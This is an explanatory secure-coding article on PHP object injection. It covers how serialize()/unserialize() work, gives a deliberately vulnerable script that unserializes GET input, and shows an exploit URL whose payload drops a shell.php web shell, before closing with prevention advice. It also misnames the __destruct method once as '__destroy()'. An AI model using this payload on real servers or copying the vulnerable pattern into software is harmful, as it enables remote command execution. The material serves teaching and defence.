Unsafe Deserialization in PHP
PHP uses serialize()
and unserialize()
native functions to serialize and unserialize an object. For example, the following script creates an instance of the object FSResource
, serializes it, and then prints the string representation of the object.
<?php
class FSResource {
function __construct($path) {
$this->path = $path;
if (file_exists($path)) {
$this->content = file_get_contents($path);
}
}
function __destruct() {
file_put_contents($this->path, $this->content);
}
}
$resource = new FSResource('/tmp/file');
print(serialize($resource));
# Prints the following string representation:
# O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}
The string representation can then be deserialized again to recreate the object instance and access its attributes.
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);
# Prints the path attribute:
# /tmp/file
Vulnerable Example
The exploitation of deserialization in PHP is called PHP Object Injection, which happens when user-controlled input is passed as the first argument of the unserialize()
function. This is a vulnerable script.php
:
<?php
$instance = unserialize($_GET["data"]);
To be exploitable, the vulnerable piece of code must have enough PHP code in scope to build a working POP chain, a chain of reusable PHP code that causes a meaningful impact when invoked. The chain usually starts by triggering __destroy()
or __wakeup()
PHP magic methods, called when the object is destroyed or deserialized, in order to call other gadgets to conduct malicious actions on the system.
If the class FSResource
defined in the paragrah above is in scope, an attacker could send an HTTP request containing a serialized representation of an FSResource
object that creates a malicious PHP file to path
with an arbitrary content
when the __destruct()
magic method is called upon destruction.
http://localhost/script.php?data=O:10:%22FSResource%22:2:{s:4:%22path%22;s:9:%22shell.php%22;s:7:%22content%22;s:27:%22%3C?php%20system($_GET[%22cmd%22]);%22;}
The payload above decodes as O:10:"FSResource":2:{s:4:"path";s:9:"shell.php";s:7:"content";s:27:"<?php system($_GET["cmd"]);";}
and, when deserialized, it creates the shell.php
allowing the attacker to run arbitrary commands on the systems. More complex payloads can be built by chaining code from multiple classes or reusing public POP chains such as the ones included in the PHPGCC projects.
Prevention
Never use the unserialize()
function on user-supplied input, and preferably use data-only serialization formats such as JSON. If you need to use PHP deserialization, a second optional parameter has been added in PHP 7 that enables you to specify an allow list of allowed classes.
References
Wikipedia - Serialization PHP - unserialize OWASP - PHP Object Injection POC 2009 - Stefan Esser - Shoking news in PHP exploitation BlackHat USA 2010 - Stefan Esser - Utilizing Code Reuse in PHP Application Exploits PHPGCC